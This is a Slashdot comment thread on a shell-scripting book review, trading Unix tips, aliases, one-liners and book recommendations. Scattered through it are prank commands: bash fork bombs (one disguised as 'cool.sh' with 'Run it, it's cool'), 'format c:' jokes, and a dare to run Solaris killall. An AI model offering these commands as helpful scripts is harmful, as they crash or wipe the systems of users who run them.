      Except your "home directories" script, who | awk '{print $1}' | sort | uniq | sed 's@^@/home/@g'

      does not list the home directories of any users. It just prints out the user names with "home" glued to the front.

      What you want is something like this (and I'm sure there's a MUCH better way of doing this, but it does give a certain amount of job security...)

      egrep $(echo $(who | awk '{print $1}' | sort | uniq | tr '\n' '|') | sed -e 's/|$//') /etc/passwd|sort|awk -F ":" '{print $6}'

    10. Re:pushd and popd (and other tricks) by camh · · Score: 1
      alias pd pushd

      alias po popd

      Similar to what I have, except I use pp instead of pd (because its faster to type) and pp without args takes you to your home directory (like cd without args). To go along with it, I use
      alias r "pushd +1"

      alias rr "cd "$OLDPWD"

      If you're working within a number of directories, use pp to get to them and then use r to rotate between the directories. rr is convenient to quickly cd somewhere else to do something and then get back again.
    11. Re:pushd and popd (and other tricks) by Anonymous Coward · · Score: 0

      Oftern when I look at using awk, then 99% of the time I belive that I can achive the same result with cut, paste and grep. Although I appreciate that awk is powerful, most of the time I find the above commands easier to think about ... a lot of day to day activities on my home computer can be achived with simple flat files ...

      Not trying to argue with you, just my own general usage

    12. Re:pushd and popd (and other tricks) by Ramses0 · · Score: 1

      My favorite "Nifty" was when I spent the time to learn about "xargs" (I pronounce it zargs), and brush up on "for" syntax.

      ls | xargs -n 1 echo "ZZZ> "

      Basically indents (prefixes) everything with a "ZZZ" string. Not really useful, right? But since it invokes the echo command (or whatever command you specify) $n times (where $n is the number of lines passed to it) this saves me from having to write a lot of crappy little shell scripts sometimes.

      A more serious example is:

      find -name \*.jsp | sed 's/^/http:\/\/127.0.0.1/server/g' | xargs -n 1 wget ...will find all your jsp's, map them to your localhost webserver, and invoke a wget (fetch) on them. Viola, precompiled JSP's.

      Another:

      for f in `find -name \*.jsp` ; do echo "==> $f" >> out.txt ; grep "TODO" $f >> out.txt ; done ...this searches JSP's for "TODO" lines and appends them all to a file with a header showing what file they came from (yeah, I know grep can do this, but it's an example. What if grep couldn't?) ...and finally...

      ( echo "These were the command line params"
      echo "---------"
      for f in $@ ; do
      echo "Param: $f"
      done ) | mail -s "List" you@you.com ...the parenthesis let your build up lists of things (like interestingly formatted text) and it gets returned as a chunk, ready to be passed on to some other shell processing function.

      Shell scripting has saved me a lot of time in my life, which I am grateful for. :^)

      --Robert

    13. Re:pushd and popd (and other tricks) by Slamtilt · · Score: 1

      The version for people *not* worried about job security is probably:
      cut -d":" -f 6 /etc/passwd
      Which in my unscientific tests is more than twice as quick as firing up awk just to get the contents of a field.

    14. Re:pushd and popd (and other tricks) by Anonymous Coward · · Score: 0

      awk -F: '{print $6}' /etc/passwd

      Or, since your version shows you every home directory, not just the users currently logged in:

      who | awk '{print $1}' | xargs -n 1 --replace={} grep "^{}" /etc/passwd | awk -F: '{print $6}'

    15. Re:pushd and popd (and other tricks) by Anonymous Coward · · Score: 0

      po should be faster to type than pp, as you can utilise two fingers - the 'o' finger can already be descending while the 'p' finger is rising.

    16. Re:pushd and popd (and other tricks) by Anonymous Coward · · Score: 0

      Have you tested it with the real awk? Not the bloated GNU version, but the one straight from Kernighan?

    17. Re:pushd and popd (and other tricks) by 4of12 · · Score: 1

      To help speed up my command line work in bash, I define a bunch of single character aliases and functions.

      alias .. 'cd ..'
      alias d 'dirs -v'
      alias r 'pushd +1' # roll the stack
      and my favorite for jumping to the indicated number in the directory stack...
      i=1
      while test $i -lt 10 ; do
      alias "$i"='pushd +'"$i"' > /dev/null ; d'
      i=`expr $i + 1`
      done
      unset i
      so that a simple "d" command shows the stack, which gets up to about 7 or 8 sometimes. Then, typing in a single digit like "3" becomes a command to push over to that directory.

      I won't even begin to mention my "p" commands for mucking with my PATH environment variable, but I'll leave it to your imagination.

      --
      "Provided by the management for your protection."
    18. Re:pushd and popd (and other tricks) by Anonymous+Cow+herd · · Score: 1

      Some other neat tips...

      set fignore=(.o \~)
      set rmstar
      set listlinks
      set color # enables color for ls-F builtin

      # green euid for non-root accounts
      # red euid for root
      set foo=`whoami`
      switch ($foo)
      case "root":
      set prompt="%{\033[0;31m%}%B$foo%{\033[0;m%}%b($SHLVL) %B@%m%b:%U%/%u%# "
      breaksw;
      default:
      set prompt="%{\033[0;32m%}%B$foo%{\033[0;m%}%b($SHLVL) %B@%m%b:%U%/%u%# "
      breaksw;
      endsw

      --
      Ita erat quando hic adveni.
  48. Re:Hmm... by mrgrey · · Score: 3, Funny

    Hey, Chicks Dig Unix.

    Wore that shirt to my parents one time and my mom didn't exactly get it. Unix does not equal Eunuchs. Try explaining that to your mom.

    --
    -Tolerate my intolerance
  49. Site down by gsergiu · · Score: 0

    I suppose we won't get an mirror somewhere, are we?

  50. Re:Exactly... by strictnein · · Score: 1

    it looks like he just cut and pasted a number of sentence fragments from the review

  51. Really??? by hungsolo · · Score: 5, Funny
    or that you can use a very simple script to check spelling on your web pages?

    Quick! Somebody pick this up for Taco!

  52. Re:Doing things yourself by Anonymous Coward · · Score: 2, Insightful
    No FePe, that's not how it works. REAL hackers follow conventions. Hacks just wing it on their own. This book offers a nice vanilla way to handle common tasks that people will want to accomplish. The user can take it from their to customize it to his or her actual needs. Whether or not it succeeds in showing people good form is another discussion, but the last thing you want is a bunch of script-kiddies running around with a lot of squiggle code so they can look all "l337".

    --
    There's nothing like a good AC reply on Slashdot... and this was nothing like a good AC reply.

  53. set -eu by jlusk4 · · Score: 2, Informative

    I like this one, too.

    -e: bomb out immediately when a command exits w/nonzero status

    -u: bomb out when de-referencing uninitialized variables ("var=" counts as initialization).

    John.

  54. will this book become free by deviantonline · · Score: 1

    well the last book by this company that i bought was programming linux games - and eventually that book was released free! i wonder if this will happen for this book as well?

  55. Oh yeah??? by gibbdog · · Score: 0

    Well, I wrote a script that writes customized scripts to do just what you guys said. And I wrote the entire thing using only mind bullets!

  56. Here it is by Anonymous Coward · · Score: 0

    I wonder if he also includes a script for completing TPS reports.

    echo "PC Load Letter" > /dev/hp0lcd0

    1. Re:Here it is by Anonymous Coward · · Score: 0

      PC Load Letter?

      WTF does that mean?

  57. Re:Doing things yourself by guacamolefoo · · Score: 3, Insightful

    ...but grandma didn't need no stinking cookbook and her sauce kicked ass.

    Yeah, and she only knew how to make a couple of kinds of sauce. Even a master chef needs a cookbook. Or a hundred.

    The whole "real hackers do it themselves" argument is crap. No man is an island, and we all learn something from others. If someone wants to be an elite h4x0r d00d, does he have to be raised like a veal in front of a computer with nobody to tell him how to turn the fucking thing on?

    The whole point of networks is to share knowledge. If you don't try to build and add to that knowledge, then you are a free rider, and you are land and annoying. If you take the knowledge you can find easily and extend it or use it in a new, fun, or productive way or in an unexpected context, then you are doing what, IMHO, "hacking" is all about.

    Taking an elitist "I am uber h4x0r, and I did it all by myself!" attitude is alienating and contrary to my notion of what hacking should be about. It's also bullshit. Even Torvalds had help. Going the reductio ad absurdum route, if you didn't write your own OS, then you are just a lamer according the lone wolf hacker theory. JFC.

    GF.

  58. Hmmm by Nightreaver · · Score: 3, Funny

    But be sure to check out the errata page on Dave Taylor's web site for any that more astute readers may find (there were none, as of this writing).

    This might be because it's /.'ed.

  59. And ofcourse... by Anonymous Coward · · Score: 0

    .. there is this command we could put in a script, not to my credit, forgot where I saw this:

    #!/bin/sh
    (){ :|:& };:

  60. Try this one by IshanCaspian · · Score: 1

    echo off format c:

    --

    But there is another kind of evil that we must fear most... and that is the indifference of good men.
  61. You suceed it by Anonymous Coward · · Score: 0

    and yet you fail it.

  62. Book Recommendation by Neil+Watson · · Score: 4, Informative

    If you like scripting and all things Unix I highly recommned Unix Power Tools. I bought a copy last month. All the things about Unix that could not necessarily fill an entire book other their own nicely packaged together.

    1. Re:Book Recommendation by grwufwuf · · Score: 1

      I checked it out on safari...

      It looks good.

  63. Re:Hmm... by unperson · · Score: 2, Funny

    I think the document you are referring to was written by this guy

  64. Sil?!? You have a 4-digit /. ID?!? by Anonymous Coward · · Score: 0

    Suddenly I grok that you are a much cooler cacher than I knew previously. I may have to take a side trip to log one of your caches next time through. :)

  65. Cool scripts by MarkSfromAR · · Score: 4, Informative

    Another good book is The Unix and X Command Compendium Shows shell commands, and explains what they do. A very good Unix reference book.

  66. Tab completion by Spy+Hunter · · Score: 2, Informative

    In Debian, the Bash package comes with a totally awesome collection of customized tab completions. For some reason, they are not turned on by default. To turn them on in a single account, you can put the line "source /etc/bash_completion" in your ~/.bashrc file, or you can turn them on globally by editing the /etc/bash.bashrc file and uncommenting the relevant lines. You'll get magic smart tab completion for cd, apt-get, ssh, mplayer, and bajillions of other programs, and you'll wonder how you ever did without it. apt-get tab completion in particular rocks like nothing else. For example, if you type "apt-get remove x[TAB]" you'll get a complete list of installed packages starting with x. When installing, you'll get a list of available but not yet installed packages. I can't stand using apt-get without tab completion anymore.

    --
    main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    1. Re:Tab completion by Christ-on-a-bike · · Score: 1
      In the interests of distro impartiality I'd like to point out that MandrakeLinuxDotComStopSuingUs have also hooked bash-completion up to their 'urpmi' package tool.

      Does Fedora have a similar thing going on? It is pretty useful.

  67. Improved version by The_Dougster · · Score: 1
    It would save the current cursor position, write the date and time on the top line of the screen, jump back to where it had been, write the current directory, and do it all in nice colors!
    Well you can do that like this in a color xterm or linux console. Heres my above prompt with the 1337 time and date deal patched in note: for some reason the /. text processor sticks an extra space in there :-)
    PS1='\[\033[1;30m\]<\[\033[35m\]\#\[\033[30m\]>[\[ \033[34m\]\w\[\033[30m\]]
    \[\033[32m\]\$ \[\033[s\033[1;31m\033[1;255H\033[30D\033[K `date`\033[u\033[0m\]'
    Amazingly enough, you can do all those cool old ANSI.SYS tricks in a linux console or most xterms. This may not work on all linux systems, notably some older Redhat variants
    --
    Clickety Click ...
  68. Very small shell script by atv1990 · · Score: 2, Funny

    is there a very small shell script in there for me to replace workers with?

    1. Re:Very small shell script by Anonymous Coward · · Score: 0

      #/bin/sh
      cp -rf *.jobs /india

    2. Re:Very small shell script by MadWicKdWire · · Score: 0

      That would work... but if George W. gets his way... I think the script would be more like this...

      rm -rf /US/*
      mv -rf /world/* /US
      nice 20 $US
      nice -20 $WORLD

      Yay!

      --
      Sig (appended to the end of comments you post, 120 chars)... oops
    3. Re:Very small shell script by Anonymous Coward · · Score: 0

      We recently replaced a very small shell script with workers - our nightly builds used to be handled by cron, now we have a 3-person team to do it. Odd, though - it's not an improvement.

    4. Re:Very small shell script by mlk · · Score: 1


      sleep

      --
      Wow, I should not post when knackered.
    5. Re:Very small shell script by dinog · · Score: 1
      #!/bin/bash
      while [[ `date +%H` < 17 ]]
      wget 'http://slashdot.org'
      sleep 5
      done

      Dean G.

  69. Me, too. by Anonymous Coward · · Score: 0

    *Bookmarks this page for when I get money*

    I've been doing this for years. I'm totally prepared for when I get rich.

    1. Re:Me, too. by grub · · Score: 1


      I'm totally prepared for when I get rich.

      pssstt.. buy all the SCOX stock you can, I hear it's going to skyrocket..

      --
      Trolling is a art,
  70. Solaris has killall by Moderation+abuser · · Score: 3, Insightful

    It just doesn't do quite what you might expect if your only experience is Linux.

    --
    Government of the people, by corporate executives, for corporate profits.
    1. Re:Solaris has killall by tolldog · · Score: 1

      Took down the user home space server in college doing that. Remotely.

      Had to run across campus and bring the system back up... oops.

      When I came in people were like, my computer isn't responding! I was like, er... yeah... it should be back in a second.

      -Tim

      --
      -I just work here... how am I supposed to know?
    2. Re:Solaris has killall by bill_mcgonigle · · Score: 1

      Same thing on HP/UX. Must be derived from some common lineage.

      --
      My God, it's Full of Source!
      OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  71. My favourite shell script... by cperciva · · Score: 2, Informative

    ... is FreeBSD Update. 700 lines of shell code to fetch, install, and rollback security updates to an entire operating system.

  72. My personal favorite; by myowntrueself · · Score: 4, Interesting

    :(){ :|:&};:

    Do *not* run this on your production servers.

    --
    In the free world the media isn't government run; the government is media run.
    1. Re:My personal favorite; by pclminion · · Score: 2, Informative
      Those interesting in testing this should probably set 'ulimit -u 10' or some such thing...

      But yes, it is a shell fork bomb.

    2. Re:My personal favorite; by Billly+Gates · · Score: 1

      I am curious.

      What does it do?

      I have been too lazy to learn unix shell scripts since I am not a programer or cs major.

    3. Re:My personal favorite; by 26199 · · Score: 3, Informative

      :(){ :|:&};:

      It reads... define function ':' as follows: pipe the output from function ':' into function ':' -- do that in the background (ie fork). Call the function ':'.

      I had no idea how it worked, either, but I looked it up :-)

    4. Re:My personal favorite; by follower-fillet · · Score: 1

      > I had no idea how it worked, either, but I looked it up :-)

      Not exactly the easiest thing to Google for though...

    5. Re:My personal favorite; by g-san · · Score: 1

      Thanks. When you put it like that, it's so much easier to remember.

      I've never been to Soviet Russia you insensitive clod!

    6. Re:My personal favorite; by Java+Ape · · Score: 1

      OK, I'll bite. I'm reasonably good with shell, but this is too cryptic for me -- what's it do? By the way -- you get brownie points for writing obfuscated shell, your job should be very secure!

    7. Re:My personal favorite; by myowntrueself · · Score: 1

      Its a fork bomb.

      And I didn't write it; its in the sig of someone who posts to a mailing list to whichI subscribe.

      --
      In the free world the media isn't government run; the government is media run.
  73. Re:Yeah right. A "cool" shell script. by Quinn_Inuit · · Score: 1
    Take that paradigm and shove it, buddy.

    If you simply assume that you can't be cool, then you won't be. I admit that shell scripting isn't all that glamorous, but as long as its practitioners think that's the right and proper order of things it's never going to change.

    If you don't want change, fine, play by their rules. But stop whining that you're not cool. That's like joining a game of dodgeball and then complaining that there are all these balls coming at you.

    --

    Stop learning! Only you can prevent esoterrorism.
  74. Yes by Kjella · · Score: 2, Informative

    Yes - but only the day after you buy it.

    Kjella

    --
    Live today, because you never know what tomorrow brings
  75. /usr and / by dr-suess-fan · · Score: 3, Informative

    Actually, we decided here ( a fairly large installation) long ago to merge / and /usr.

    Our main reason was simplification and this allows us the benefit of not worrying what is in /usr/bin and what is in /bin. (Actually, on Solaris, /bin is just a link to /usr/bin ). Everything in /usr and / should not be touched anyhow except through the normal pkg management tools. We do of course maintain a separate /usr/local.

    The main disadvantage is that a fsck would take longer because / is now a large filesystems. With the journaled filesystems of today, we don't see the concern. The other benefit is that we don't need to worry about sizing / and /usr independantly and running out of space in /usr when / still has lots (or vise versa).

    Interestingly enough, /usr/openwin used to be a separate FS on SunOS long ago. The main reasoning was that disks back then were small and you simply didn't have room to place /usr/openwin in the /usr/ filesystem.

    I would guess that others have merged /usr and / too but I understand why it's a bit of a controversial topic.

    I do hold disregard for some of the defaults that some Linux distros use where /var and / are merged as well. In fact, the whole darn OS is in /. The need for a separate /var should never go away IMO.

  76. Re:Doing things yourself by sik0fewl · · Score: 1

    Mmmmm... shell scripts *drool*

    --
    I remember when legal used to mean lawful, now it means some kind of loophole. - Leo Kessler
  77. Re:Yeah right. A "cool" shell script. by Anonymous Coward · · Score: 0

    a liquid nitrogen cooling system for overclocking a 386SX to 3.0Ghz isn't cool?

    Picky, picky

  78. Re:Yeah right. A "cool" shell script. by mrlsd · · Score: 1

    I once rewrote 2,650 lines of C code as a seven line shell script. The previous programming team had written their own implementation of ftp; I just used the one which was already on the computer.

  79. Even better by the_consumer · · Score: 1

    #!/bin/sh lynx http://imdb.com/title/tt0151804/

    --
    "If you're thinking what I'm thinking, you're right." -
  80. humor distilled by Anonymous Coward · · Score: 0

    It's funny because it's not really what the original poster asked for. It's kind of like giving someone a linux distro when they ask how they can patch their windows box.

    1. Re:humor distilled by Anonymous Coward · · Score: 0

      If you had 'just' cygwin, you wouldn't have much. It's just a .dll that brokers all of the usual system calls for applications running under it.

  81. Re:Hmm... by q-the-impaler · · Score: 0

    I can't help but read this with Strong Bad's voice in my head.

    --
    Sierra Tango Foxtrot Uniform
  82. You trolls are MEAN!!!! by Anonymous Coward · · Score: 0
    45 60d 15 my w1tl355, 50m3d4y 3y3 W1|| 63t th4t 3l351v3 th1r5t p045t!!!

    Ju5t 3w3 w8 & c!!!!!

  83. ugh by kennedy · · Score: 1

    s/form/from/

    1. Re:ugh by Anonymous Coward · · Score: 0

      You need "lessions"?

      lesions?

      Perl programmers think you need lesions?

      I'm staying away from camels !!!!

  84. Re:Hmm... by Anonymous Coward · · Score: 0

    Hopefully it also features a grammar checking script to ensure that you don't start using phrases like 'Wicked Cool'.

    It's supposed to be "Wicked-Cool" right?

  85. Here's one wicked cool shell script by Wolfier · · Score: 1

    joe@joebox:~$ more cool.sh

    #!/bin/sh
    # cool.sh: do some cool stuffs ./cool.sh & ./cool.sh &

    1. Re:Here's one wicked cool shell script by Wolfier · · Score: 1
      Argh. Format screwed up. Here's the script once again. Run it, it's cool.
      joe@joebox:~$ more cool.sh

      #!/bin/sh
      # cool.sh: do some cool stuffs
      ./cool.sh &
      ./cool.sh &
  86. rm -rf /bin/laden by almondjoy · · Score: 1

    ...now if only it would work

  87. A DynDNS.org client would be a cool shell script by fname · · Score: 1

    Well, since we're on the topic of "cool shell scripts," I have a question. Has anyone written a shell script to act as a DynDNS.org client? I ask, because 1) I couldn't fine one on their site, and 2) I need one. Specifically, I want to run it on my TiVo periodically (every couple hours) so that my IP address is up to date. I want to run it on my TiVo, as it's the only computer I own that's on all day.

    And yes, I already have installed an ethernet card and I have telnet access (locally only). The goal is to always have TiVo Web Plus access (via a non-standard port and password protection) anytime, anywhere.

    So, has anyone written a client like this? I think TiVo has a bash client (it runs on Linux, of course). Thanks.

  88. Re:Doing things yourself by Anonymous Coward · · Score: 0

    You must be really productive.

  89. OT: Re:sounds cool by DarthWiggle · · Score: 1

    Wait, when did we start talking about marriage and child-rearing?

  90. Bookpool.com has this on sale by node42 · · Score: 1

    for 46% off - not too bad.

  91. My Favorite Script by rd · · Score: 1

    (*Y*)

  92. ldd `which perl` by Anonymous Coward · · Score: 0

    Tell me, what would happen if some package install that updates libc went bad? How do you plan on getting your box rebooted if all your rc scripts are written in Perl?

    1. Re:ldd `which perl` by saforrest · · Score: 1


      Tell me, what would happen if some package install that updates libc went bad?


      Well, if you were crazy you could compile Perl statically, like /bin/sh on most platforms.

    2. Re:ldd `which perl` by XanC · · Score: 1

      Debian stable:

      ldd `which perl`
      libdl.so.2 => /lib/libdl.so.2 (0x40017000)
      libm.so.6 => /lib/libm.so.6 (0x4001a000)
      libc.so.6 => /lib/libc.so.6 (0x4003c000)
      libcrypt.so.1 => /lib/libcrypt.so.1 (0x40159000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

      ldd `which /bin/sh`
      libncurses.so.5 => /lib/libncurses.so.5 (0x40017000)
      libdl.so.2 => /lib/libdl.so.2 (0x40055000)
      libc.so.6 => /lib/libc.so.6 (0x40059000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

      Looks pretty close to me.

    3. Re:ldd `which perl` by Camel+Pilot · · Score: 1

      then you would not be booting in sh either...

      $ ldd /bin/sh
      libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002a000)
      libdl.so.2 => /lib/libdl.so.2 (0x4002e000)
      libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
      lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

    4. Re:ldd `which perl` by Anonymous Coward · · Score: 0

      You might want to consider getting a real copy of the bourne shell -- instead of a soft link to bash -- for the very same reason that shell scripts are preferable to perl.

    5. Re:ldd `which perl` by Anonymous Coward · · Score: 0
      On OpenBSD:
      $ ldd /bin/sh
      /bin/sh:
      ldd: /bin/sh: not a dynamic executable
  93. Stupid question - sed on binary files by SuperKendall · · Score: 1

    This is a little off-topic but I can't think of a better time to ask.

    I recently wrote a small script to fix bad dates in a camera RAW file. It was all /bin/sh and a really simple sed command (find a pattern, replace one character with another in the pattern space).

    Now while the script worked fine, and replaced what I wanted, in the end the output was one character longer than the original file - Sed has appended a newline at the end of the file. When I deleted this trailing character the file was fine.

    This was on OS X, I don't know if that sed is just crazy or what. Does anyone know how I could have NOT have sed add this char, or remove it after it was there? At the time, the only way I could think to remove the char was to use sed which I did not try for obvious reasons! I thought about using Awk instead but figured I would run into the same issue (perhaps I would not have).

    Perhaps this was a case where perl would have been better, but I wrote the script in about ten minutes and I really don't know perl at all.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
    1. Re:Stupid question - sed on binary files by CresentCityRon · · Score: 1

      There is always that CR/LF issue.

      was this file copied over from a windows environment?

      perhaps as you finished off the file with SED you allowed a LF?

      do an "od -c " on the last few bytes of the file and see what the trailing char is. That will give you a hint as to the source of the problem.

      Good luck.

    2. Re:Stupid question - sed on binary files by Anonymous Coward · · Score: 1, Informative
      Perhaps pipe the sed output into:
      tr -d '\012'

      If you have traditional Mac end of lines:

      tr -d '\015'
  94. hmm by Anonymous Coward · · Score: 0
    so if the only tool i have is a wrench does that mean everything looks like nuts?

  95. OT--some say C++ is not strongly typed by smittyoneeach · · Score: 1

    because it allows union , which is unchecked.
    I thought that was a stupid argument--who, outside of embedded programmers, would go there?

    --
    Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
  96. Now run it. by Chris+Burke · · Score: 2, Informative

    $ uname -a
    SunOS 5.8 Generic_108528-27 sun4m sparc SUNW,SPARCstation-20
    $ which killall /usr/sbin/killall


    Good for you!

    Now type:
    $ /usr/sbin/killall

    and post the results after you're done logging back in! :)

    --

    The enemies of Democracy are
  97. But Asterix is evil by G�tz · · Score: 2, Informative

    Don't you remember the Mobilix case? This web site about Unix on mobile computers was sued by the publishers of Asterix, as their name was too similar to that comic character. They've lost. They had to move the site to Tuxmobil.org.

  98. Obligatory: by NarrMaster · · Score: 1

    In Soviet Russia, script forks you!

    --
    That's right. All your base.
    1. Re:Obligatory: by jamesh · · Score: 1

      Just curious, but what would be the equivalent joke on slashdot.org.ru?

      In Capitalist Australia, you fork scripts!

      Hmmm... not very funny. Maybe that's why Russia doesn't have a slashdot site.

  99. not quite by Anonymous Coward · · Score: 0

    it's:

    format c: | echo y

  100. cd with history by Rick+Richardson · · Score: 4, Informative

    The shell helper that I am totally lost without is one that adds directory history to bash and ksh. You can find it here: _cd

    # Now you have a cd with these extra features:
    # - List most recent dirs: cd -l cd -l
    # - Go to dir number N cd -N cd -3
    # - Go to previous dir cd - cd -
    # - Go to dir with SUBSTR in it cd -SUBSTR cd -rick
    # - Go to /dir by first letter cd +usncu
    # a.k.a. cd /usr/spool/news/comp/unix
    # - Go to rel dir by letter cd /usr/spool/news; cd ++abpe
    #
    # And a few other things you can figure out by reading this function

    I guess I never really got the idea of a stack of dirs being useful, since I seem to bounce around more at random than anything else. I prefer to have a cache of places I've recently been.

    Bonus puzzle for slashdot readers: using the cd with history function, what directory is this command likely to take me to?

    cd +usnabpe
    1. Re:cd with history by Anonymous Coward · · Score: 1, Funny

      alt.binaries.pictures.erotica :-D

  101. there are python clients available. by waxmop · · Score: 1

    If you can run python, you can ipcheck.

  102. A little disappointed, actually by himself · · Score: 2, Interesting

    I ordered this book thinking that it'd be a beefy tome a la "UNIX Power Tools" but it's a little lighter weight -- both intellectually and literally.
    Don't get me wrong, the scripts seem good enough, nd the lack of errata is commendable. But I don't want a loan calculator, weather tracker, or datebook: those seem like _applications_ to me, not scripts for system administration (as the book claims it contains).
    Anyway, I'll try some of them out on my iMac and my Solaris systems, but this won't be making that big move out of the bookshelf onto the desk, if you know what I mean.

  103. DynDNS updater by Sweetshark · · Score: 1

    ezipupdate
    ddclient
    no-ip
    are just a few ...
    I'm using ddclient ...

  104. shell scripts still useful. by yagu · · Score: 3, Interesting

    I work for a large company (50,000 employees), and the directory lookup site of choice is driven behind-the-scenes by about 6,000 lines of shell script (bourne). Having written this application, one of the most common back-handed compliments I get is when users ask what I did to optimize this application to make it SO FAST! I just smile.

    (btw, this lookup tool does more than simple fill-in-the-blank lookups -- it has a first-name-alias lookaside table (so I can find "Sue", even though she's in the database as "Susan", it is case insensitive (yawn), order insenstive, field insensitive (there's only ONE input box), and more than returning just the phone number of the employee, it draws the entire hierarchy around the employee (direct reports, peers, management chain). And, there are buttons for each person on the page to: send page; send e-mail; generate and org chart..., and much much more)

    Don't mean to make it sound like an ad for the application -- just thought it might be reassuring to other shell programmers that a shell script can be a major corporation's tool.

  105. Not a copy issue... by SuperKendall · · Score: 1

    The Mac was the holder of the original file - basically the script was a one liner that looked like:

    cat $file | sed -e 'pattern/r1/r2' > newfile.out

    Newfile.out had the replacemnet done correctly, but as I noted had one extra character at the end (I just assumed it was LF, did not examine).

    I am assuming sed was the culrpit that introduced the new char, but I guess it could have been cat as well. I'll have to run some tests.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  106. The *free* guide to Bash shell scripting by lysium · · Score: 5, Informative
    Why buy a book on shell scripting? Mendel Cooper's 542 pg bible of scripting taught me everything I needed to know. It is a free download, found here. You can find it in an easy-to-print PDF as well.

    From the site:
    This tutorial assumes no previous knowledge of scripting or programming, but progresses rapidly toward an intermediate/advanced level of instruction (...all the while sneaking in little snippets of UNIX wisdom and lore). It serves as a textbook, a manual for self-study, and a reference and source of knowledge on shell scripting techniques. The exercises and heavily-commented examples invite active reader participation, under the premise that the only way to really learn scripting is to write scripts.

    --
    Together, we will drive the rats from the tundra.
    1. Re:The *free* guide to Bash shell scripting by Anonymous Coward · · Score: 0

      Get the current version from http://tldp.org/guides.html

  107. Re:Hmm... by FattMattP · · Score: 1

    Yeah but will it be For Dummies?

    --
    Prevent email address forgery. Publish SPF records for y
  108. is there a small shell script.. by mikejna · · Score: 1

    to replace the guy sitting next to me?

    --
    ..more testicles mean more IRON. -Lunchlady Dorris
  109. You can convert awk to C by freelunch · · Score: 2, Informative

    On the subject of 'cool shell scripts', converting your awk to C and compiling it is pretty damn cool.

    The performance improvement was about 6-7X on my project.

    awka does that.

    On my project it took less time to convert the awk to C, gcc the C and run the binary than it did to run the perl version.

    This is not a perl flame. I am old. I use awk.

  110. Is that a recipe for bloat? by mangu · · Score: 1
    you cannot pipe notepad.exe into winword.exe, for example, but Word has a very rich automation interface that you can hook into and use from a simple JScript.


    One of the things that make Unix truly great is the possibility of piping one program's output into another. Use the full potential of what others have developed, don't reinvent the wheel. All you need is printf and scanf, or whatever is the equivalent in the language you are using. It was after reading a book on ActiveX that I definitely quit on Windows programming.

    1. Re:Is that a recipe for bloat? by Osty · · Score: 2, Informative

      One of the things that make Unix truly great is the possibility of piping one program's output into another. Use the full potential of what others have developed, don't reinvent the wheel.

      What do you do if you need more control than piping will allow? The difference is between working with data and working with objects. In *nix, you're piping data across processes that act upon that data. If you want to change the password for all of the users on your system, you're iterating through /etc/passwd and passing the username to passwd to make changes. In Windows, you're iterating over a collection of user objects, which have methods you can call to change passwords. You're not reinventing the wheel, because you're not implementing how that password is changed (I've seen the wheel reinvented in unix by trying to encrypt passwords and write those values directly to /etc/passwd or /etc/shadow, bypassing passwd completely). In fact, if you're not using automation objects in your Windows scripting, you're not using "the full potential of what others have developed." If you're writing a unix application, you should make sure it's scriptable via piping. Similarly, if you're writing a Windows application, you should make sure it's scriptable via automation interfaces (IDispatch). One is the standard for *nix and one is the standard for Windows. Nobody is saying that *nix should ditch piping in favor of a COM-like architecture, so why should Windows ditch COM automation in favor of piping?


      It was after reading a book on ActiveX that I definitely quit on Windows programming.

      I'm curious why. Was it too difficult or obscure? Did you have architectural or security objections? Or were you so entrenched in your *nix ways that you couldn't grasp why you should use a different approach in Windows?

    2. Re:Is that a recipe for bloat? by Anonymous Coward · · Score: 0
      One of the things that make Unix truly great is the possibility of piping one program's output into another.

      The | operator works in Windows command shells too. I'm sure if you really wanted to, you could use one of the rich set of API functions that Windows offers to pipe MS Word's output. Windows programming is as capable (if not more so) as Unix programming, it's just a matter of reading the docs.

    3. Re:Is that a recipe for bloat? by plover · · Score: 4, Informative
      While I agree with you that piping the output of one program into another to stack utility upon utility is a great feature of [c|k|ba]sh, I don't think you weren't paying attention to the parent post.

      The trick with Windows is that you can do many of these same things, but this power comes from doing it in WSH or VB (or C/C++ or an ASP or whatever language you're comfortable with. I've even done it in Perl.) You use the COM interfaces of the shell object to enumerate through directory trees and files. You can stream each of those files into the COM interface of another program that accepts streams. You can search, you can pipe stuff all over, and you're not limited to a single instance of stdin, stdout and/or stderr.

      It's not unlike shell scripting, it's just a different language. Each application is able to expose whatever it feels is most important in whatever fashion it thinks is best. DevStudio, for example, lets the scripting host user get to the workspace, the project, and any of the tools.

      The biggest problem I have with it is that stdio is not "guaranteed" to be supported by every application under Windows. stdio is the glue that binds all the UNIX utilities together. That's the beauty of stdio -- as the sole mechanism for I/O for most tools, it became the defacto application interaction interface. Windows doesn't have that: most Windows apps don't offer any automated IO at all. And some of the ones that do seem to have interfaces pasted on after the fact. But the ones that do expose properties and methods via COM are easy to access, and easy to control from anywhere. And using the interfaces tends to remove the ambiguities: in UNIX if you're using 'cut' to parse a phone list but the name field sometimes contains commas, you end up hacking around solutions to make them work. A COM-based solution would provide an interface containing a Name field.

      Windows is not alone in this limiation, either. UNIX suffers from a similar problem: how do you meaningfully pipe data to and from an X window, or even to a curses app? Is it consistent between apps? Most apps I am familiar with that offer such features in their applications had to have code added to actively support a meaningful commandline interface to their programs through the use of dozens of command line switches. Without this sort of code, using stdio to parse the output of a curses-based application becomes a tedium of screen scraping.

      Don't get me wrong: I have a bevy of UNIX-like command line utilities for Windows, I use Cygwin and bash when I need to (although the file system mapping is worse than I could have imagined), and I will fire up a CMD script long before I think to write it as a VB or C++ program. I'm far more comfortable with the sh-style tools -- I grew up with them.

      I'm not saying stdio is better or worse than using the COM interfaces of Windows; I'm just saying it's "different." And you certainly shouldn't be reinventing the wheel to script up utilities in Windows.

      --
      John
    4. Re:Is that a recipe for bloat? by ncc74656 · · Score: 1
      But the ones that do expose properties and methods via COM are easy to access, and easy to control from anywhere.

